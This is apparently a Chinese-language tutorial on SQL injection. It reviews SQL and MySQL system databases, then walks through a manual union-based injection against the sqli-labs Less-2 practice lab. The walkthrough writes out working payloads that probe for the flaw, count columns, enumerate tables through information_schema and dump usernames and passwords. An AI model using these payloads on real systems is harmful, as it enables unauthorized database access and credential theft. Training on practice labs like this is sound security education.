1.1什么是SQL注入
SQL 注入(Injection) 概述
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
web应用程序三层架构:视图层 + 业务逻辑层 + 数据访问层
SQL注入之数据库概述
数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。
关系型数据库
关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似
关系型数据库中表与表之间有很多复杂的关联关系的
常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。
非关系型数据库
随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的被设计
NoSQL数据库适合追求速度和可扩展性,业务多变的场景
数据库排行:https://db-engines.com/en/ranking
数据库服务器层级关系:
服务器里面
:多个数据库
:多个数据表
:多个行 列 字段
: 数据
SQL语句语法回顾:
查询当前数据库服务器所有的数据库
show databases;
选中某个数据库
use 数据库名字
查询当前数据库所有的表
show tables;
查询users表所有数据
查询关键 select
* 所有
from 表名
select * from users;
条件查询 id=2
where 条件 编程 if(条件 true){执行}
select * from users where id=2;
查询id=2 pass =111
union 合并查询
2个特性:
前面查询的语句 和 后面的查询语句 结果互不干扰!
前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致
select id from t1 where id=-1 union select * from t1 where pass =111;
order by 排序
order by 字段名字 id 也可以 跟上数字 1 2 3 4 .。。。。。
猜解表的列数 知道表有几列
一.系统库释义
提供了访问数据库元数据的方式
元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。
1.information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;
例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。
SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name
2、performance_schema库具有87张表。 MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。 常用举例:在mysql.user表中修改root用户的密码
4、sys库具有1个表,100个视图。 sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。 可以查询谁使用了最多的资源,哪张表访问最多等。
SQL注入之MYSQL手工注入
本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。
sqli-labs数字型注入
在url中输入id值,执行查询sql语句。即可得到对应数据
less-2源码分析:
浏览器 进行数据提交 服务器 :
get 提交 : url 数据长度
速度快
用于:
post 提交 : 服务器 安全性 数据量
注入流程
注入语句
尝试手工注入:
SQL注入:
1.判断有无注入点 and 1 = 1; true
随便输入内容 == 报错 注入
== 没有注入
2.猜解列名数量 order by %20 空格
字段 4个
3.报错,判断回显点 union
4.信息收集
数据库版本 version()
高版本:5.0
系统库: infromation 。。。
数据库名称:database()
低版本:5.0
5.使用对应SQL进行注入
数据库库名:security
. 下一级
infromation_schema.tables 查找表名
table_name
查询serurity库下面 所有的表名
database()
= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()
表: users
如何查询表里面有那些字段?
user 字符 转换 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273
username password 字段数据
select username,password from users
0x3a :
union select 1,2,(select group_concat(username,0x3a,password)from users)
union select 1,group_concat(column_name),3 from information_schema.colmns where table_name=0x7573657273
靶场复现
1.打开sqli-labs 第二关靶场
2.提示我们请输入id作为数值参数,那我门就在url中添加一个数值参数
3.判断有无注入点,可以使用and 1=1 或者随便加个单引号
报错了,说明我所添加的单引号已经放到数据库中执行了,但是我的语法不正确,所以它会出现报错信息,但正是这报错信息,才能证明在这个环境中,有注入点
4.猜解列名数量,为下一步的union联合查询做铺垫(不要忘记union的两个特性,前面查询的语句 和 后面的查询语句 结果互不干扰!前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致)
可以看到我在猜解字段的时候,猜解到4的时候就报错了,所以说明这里的字段为3
5.报错,判断回显点
把前面的那个sql语句给它输入一个不存在的参数,从而让它查询不到任何的结果,输出不了任何的内容,随后我们后面跟上 union select 1,2,3 ,可以看到页面上2和3被正常的回显出来了,我们的回显点就是name 和password这两个
6.信息收集
既然我们找到回显点了,那我门就可以利用回显点来查看我们注入的结果
权限的信息收集 user()
我们在2的那个回显点中,就可以拼接上user函数来查看我们当前数据库的一个用户权限
版本信息收集
同样,我们也可以在3的那个回显点中拼接version()函数来查看当前数据库的一个版本,数据库的高低版本的不同,我们也可以用不同的方式来注入
7.构建sql进行注入
查询serurity库下面 所有的表名
payload为 id=-1 union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()
如何查询表里面有那些字段
payload为:id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273